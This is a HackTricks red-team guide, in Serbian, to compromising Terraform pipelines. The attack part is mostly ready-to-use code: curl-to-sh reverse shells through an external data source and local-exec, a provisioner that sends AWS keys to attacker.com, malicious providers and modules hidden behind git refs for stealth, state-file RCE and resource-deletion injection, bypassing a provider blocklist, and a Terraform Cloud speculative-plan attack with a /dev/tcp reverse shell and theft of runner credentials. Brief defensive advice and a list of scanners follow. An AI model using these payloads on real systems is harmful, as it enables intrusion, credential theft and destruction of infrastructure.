Terraform Security
Reading time: 16 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete kako resurse u oblaku, tako i lokalne resurse u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su resursi za računanje, skladištenje i umrežavanje, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
Kako Terraform funkcioniše?
Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
HashiCorp i Terraform zajednica su već napisali više od 1700 provajdera za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na Terraform Registry, uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.
Osnovni radni tok Terraform-a sastoji se od tri faze:
- Pisanje: Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
- Planiranje: Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
- Primena: Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
Terraform laboratorija
Samo instalirajte terraform na vašem računaru.
Ovde imate vodič i ovde imate najbolji način za preuzimanje terraforma.
RCE u Terraform-u: trovanje konfiguracione datoteke
Terraform nema platformu koja izlaže web stranicu ili mrežnu uslugu koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform da možemo dodati/izmeniti terraform konfiguracione datoteke ili da možemo izmeniti terraform stanje datoteke (vidi poglavlje ispod).
Međutim, terraform je veoma osetljiva komponenta za kompromitovanje jer će imati privilegovan pristup različitim lokacijama kako bi mogao pravilno da funkcioniše.
Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je kompromitovanje repozitorijuma koji čuva terraform konfiguracije, jer će u nekom trenutku biti interpretirane.
U stvari, postoje rešenja koja automatski izvršavaju terraform plan/primenu nakon što je PR kreiran, kao što je Atlantis:
Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti načini na koje možete izvršiti RCE kada neko izvrši terraform plan
ili terraform apply
.
Terraform plan
Terraform plan je najčešće korišćena komanda u terraform-u i programeri/rešenja koja koriste terraform je pozivaju stalno, tako da je najlakši način da dobijete RCE da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u terraform plan
.
Korišćenje spoljnog provajdera
Terraform nudi external
provajder koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti external
izvor podataka za izvršavanje proizvoljnog koda tokom plana
.
Umetanje nečega poput sledećeg u terraform konfiguracionu datoteku izvršiće rev shell kada se izvrši terraform plan
:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Korišćenje prilagođenog provajdera
Napadač bi mogao poslati custom provider na Terraform Registry i zatim ga dodati u Terraform kod u funkcionalnoj grani (primer odavde):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
Provajder se preuzima u init
i izvršiće maliciozni kod kada se izvrši plan
.
Možete pronaći primer na https://github.com/rung/terraform-provider-cmdexec
Korišćenje spoljnog reference
Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na diskretniji način, prateći ove sugestije:
- Umesto da direktno dodate rev shell u terraform datoteku, možete učitati spoljnji resurs koji sadrži rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Možete pronaći rev shell kod na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- U spoljnim resursima, koristite ref funkciju da sakrijete terraform rev shell kod u grani unutar repozitorijuma, nešto poput:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem malicioznog Terraform fajla sa local-exec.
Samo treba da se pobrinete da neki payload poput sledećih završi u main.tf
fajlu:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Sledite preporukama iz prethodne tehnike da izvršite ovaj napad na diskretniji način koristeći spoljne reference.
Izvori tajni
Možete imati tajne vrednosti koje koristi terraform izbačene pokretanjem terraform apply
dodavanjem nečega poput:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Zloupotreba Terraform State Fajlova
U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, ova istraživanja nude neke zanimljive opcije za korišćenje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u git
istoriji.
RCE u Terraform-u: trovanje konfiguracionog fajla
Moguće je napraviti prilagođenog provajdera i jednostavno zameniti jednog od provajdera u terraform state fajlu za zlonamernog ili dodati lažni resurs koji se poziva na zlonamernog provajdera.
Provajder statefile-rce se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu command
. Kada se pokrene terraform
run, ovo će biti pročitano i izvršeno u koracima terraform plan
i terraform apply
. U slučaju koraka terraform apply
, terraform
će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i potpuna demonstracija mogu se naći u GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera.
Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u resources
nizu i prilagodite atribute name
i command
:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Zatim, čim se terraform
izvrši, vaš kod će se pokrenuti.
Brisanje resursa
Postoje 2 načina da se unište resursi:
- Umetnite resurs sa nasumičnim imenom u datoteku stanja koja pokazuje na pravi resurs koji treba uništiti
Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- Izmenite resurs za brisanje na način da nije moguće ažurirati (tako da će biti obrisan i ponovo kreiran)
Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira.
Zamenite crnu listu provajdera
U slučaju da naiđete na situaciju gde je hashicorp/external
stavljen na crnu listu, možete ponovo implementirati external
provajder na sledeći način. Napomena: Koristimo fork external
provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
Tada možete koristiti external
kao i obično.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Terraform Cloud speculative plan RCE and credential exfiltration
Ovaj scenario zloupotrebljava Terraform Cloud (TFC) izvršitelje tokom spekulativnih planova da bi se prešao u ciljni cloud nalog.
-
Preduslovi:
-
Ukrao Terraform Cloud token sa developerske mašine. CLI čuva tokene u običnom tekstu na
~/.terraform.d/credentials.tfrc.json
. -
Token mora imati pristup ciljnjoj organizaciji/radnom prostoru i najmanje
plan
dozvolu. VCS-podržani radni prostori blokirajuapply
iz CLI, ali i dalje omogućavaju spekulativne planove. -
Otkrijte postavke radnog prostora i VCS putem TFC API:
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
- Pokrenite izvršavanje koda tokom spekulativnog plana koristeći spoljašnji izvor podataka i Terraform Cloud "cloud" blok za ciljanje VCS-podržanog radnog prostora:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
Primer rsync.sh za dobijanje reverzne ljuske na TFC runner-u:
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
Pokrenite spekulativni plan za izvršavanje programa na ephemernom izvršitelju:
terraform init
terraform plan
- Enumerisati i exfiltrirati injektovane cloud kredencijale iz runner-a. Tokom izvršavanja, TFC injektuje kredencijale provajdera putem fajlova i promenljivih okruženja:
env | grep -i gcp || true
env | grep -i aws || true
Očekivani fajlovi u radnom direktorijumu runner-a:
-
GCP:
-
tfc-google-application-credentials
(JSON konfiguracija Workload Identity Federation) -
tfc-gcp-token
(token za pristup GCP sa kratkim vremenom trajanja) -
AWS:
-
tfc-aws-shared-config
(konfiguracija pretpostavke uloge web identiteta/OIDC) -
tfc-aws-token
(token sa kratkim vremenom trajanja; neke organizacije mogu koristiti statičke ključeve) -
Koristite kratkoročne akreditive van kanala da biste zaobišli VCS kapije:
GCP (gcloud):
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
AWS (AWS CLI):
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
Sa ovim kredencijalima, napadači mogu da kreiraju/modifikuju/unište resurse direktno koristeći native CLIs, zaobilazeći PR-bazirane radne tokove koji blokiraju apply
putem VCS-a.
- Defensivna uputstva:
- Primeni najmanje privilegije za TFC korisnike/timove i tokene. Revizija članstva i izbegavanje prevelikih vlasnika.
- Ograniči
plan
dozvolu na osetljivim VCS-podržanim radnim prostorima gde je to moguće. - Sprovodi allowlist-e za provajdere/izvore podataka sa Sentinel politikama kako bi blokirao
data "external"
ili nepoznate provajdere. Pogledaj HashiCorp uputstva o filtriranju provajdera. - Preferiraj OIDC/WIF umesto statičnih cloud kredencijala; tretiraj trkače kao osetljive. Prati spekulativne planove i neočekivani izlaz.
- Otkrivanje eksfiltracije
tfc-*
artefakata kredencijala i upozoravanje na sumnjivu upotrebuexternal
programa tokom planova.
Automatski alati za reviziju
Snyk Infrastructure as Code (IaC)
Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform-u, CloudFormation-u, Kubernetes-u i drugim IaC formatima.
- Karakteristike:
- Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
- Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
- Automatski pull zahtevi za ispravke.
- Detaljna uputstva za otklanjanje problema.
- Prijavi se: Kreiraj nalog na Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda.
Skenira cloud infrastrukturu koja je obezbeđena koristeći Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, ili OpenTofu i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
Izvodi Software Composition Analysis (SCA) skeniranje koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE).
pip install checkov
checkov -d /path/to/folder
terraform-compliance
From the docs: terraform-compliance
je lagan, bezbednosno i usklađenosti fokusiran test okvir protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.
- usaglašenost: Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
- razvoj vođen ponašanjem: Imamo BDD za gotovo sve, zašto ne i za IaC?
- prenosiv: samo ga instalirajte putem
pip
ili ga pokrenite putemdocker
. Pogledajte Instalacija - pre-deploy: validira vaš kod pre nego što bude implementiran
- lako za integraciju: može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
- razdvajanje dužnosti: možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa.
note
Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite terraform plan
i pokrenete ovaj alat.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
Iz dokumentacije: tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
- ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
- ⛔ Stotine ugrađenih pravila
- 🪆 Skenira module (lokalne i udaljene)
- ➕ Evaluira HCL izraze kao i literalne vrednosti
- ↪️ Evaluira Terraform funkcije npr.
concat()
- 🔗 Evaluira odnose između Terraform resursa
- 🧰 Kompatibilan sa Terraform CDK
- 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
- 📃 Podržava više formata izlaza: lepi (podrazumevani), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume
brew install tfsec
tfsec /path/to/folder
KICKS
Pronađite bezbednosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvoju vaše infrastrukture kao koda uz KICS od Checkmarx.
KICS označava Keeping Infrastructure as Code Secure, otvorenog je koda i neophodan je za svaki projekat u oblaku.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
Iz dokumentacije: Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:
- Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije.
- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
- Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu.
- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
brew install terrascan
Reference
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
- Terraform Cloud token abuse turns speculative plan into remote code execution
- Terraform Cloud permissions
- Terraform Cloud API – Show workspace
- AWS provider configuration
- AWS CLI – OIDC role assumption
- GCP provider – Using Terraform Cloud
- Terraform – Sensitive variables
- Snyk Labs – Gitflops: dangers of Terraform automation platforms
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.